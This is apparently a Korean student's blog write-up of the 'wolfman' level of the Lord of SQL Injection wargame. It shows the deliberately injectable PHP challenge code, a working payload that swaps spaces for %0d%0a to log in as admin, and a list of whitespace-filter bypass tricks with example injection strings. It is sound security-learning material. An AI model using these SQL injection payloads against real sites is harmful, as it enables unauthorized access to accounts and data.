Gae Ko's Blog

los : wolfman 본문

웹해킹 /[los] Lord of SQL

los : wolfman

Gae Ko 2017. 8. 12. 05:16

[코드분석]


<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 

↑DB와 연결을 위한 코드


if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 

↑preg_match를 통해 필터링.  두번째줄에서 공백이 들어간 입력값은 필터린된다는 뜻


$query "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 

↑쿼리실행


  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("wolfman"); 

↑문제의 포인트 



[내 풀이]


코드를 통해 id가 admin일 때 문제가 해결된다고 한다.

에서 los : cobolt 문제처럼 pw=' or 1 and id='admin'  하면 공백이 포함되었기 때문에 preg_match를 통해 필터링된다.


그래서 공백문자를 필터링하는 경우를 구글링해보니 

select * from table 라는 쿼리와 select(*)from(table) 이라는 쿼리가 동일하다는 점을 사용하여 ( )를 사용하라고 하여,

pw=%27(or)1(and)id=%27admin%27%23 하였더니 fail 되었다. ㅠㅠ 


뭐지 뭐지 이런 방법이 아닌가 라는 생각을 하던 중에 민지언니가 알려준 힌트를 보았다.

"힌트를 주자면 5번 문제에서 필터링하는 공백은 %20이야. 그리고 mysql에서는 ;이 나올때까지는 엔터나 탭이나 뭘 쳐도 상관이 없어"


한번 교육서버의 내 db를 들어가 언니 말대로 실행해 보았다.



공백대신 엔터를 입력해도 동일하다라는 것을 알게 되었다. 


구글링을 통해 url에서 enter키가 %0d%0a 임을 알게 되어 공백부분에 %0d%0a로 대체해보았다.

( #은 맨 뒤 ' 을 주석처리하기위해 존재)




우아 SUCCESS!!



이번 문제는 비록 언니의 힌트를 보고 깨달았지만 바로 풀려서 기분이 너무 좋당 !! 


[p.s]

아까 괄호 ( ) 를 공백 대신으로 했던 경우 왜 실패했는지 잘 모르겠다...ㅠ

이것도 내일 민지언니에게 물어봐야겠다 ㅎ.ㅎ 


물어본 결과!!

preg_match를 통해 필터링하는 첫번째 부분에서 (와 ) 를 필터링한다고 나와있었기 때문에 실패한 것 ( 바보 ㅠ)



[참고]

다음 문제 풀다가 알아낸 정보 ! 

- 공백 필터링을 우회할 수 있는 문자 

1) /**/ : 주석을 통해 공백을 대체할 수 있음 ex) pw='/**/or/**/1=1%23

2) +( 또는 %2B) : 문자+ 를 통해 공백을 대체할 수 있음 ex) pw='+or+1=1%23

3) ( ) : 괄호를 통해 공백을 대체할 수 있음  ex) pw='(or)1=(1)%23

4) %09, %0b, %0c, %0d, %0a 등등 

 

'웹해킹 > [los] Lord of SQL' 카테고리의 다른 글

los : orge  (0) 2017.08.12
los : darkelf  (0) 2017.08.12
los : orc  (0) 2017.08.12
los : goblin  (0) 2017.08.10
los : cobolt  (0) 2017.08.09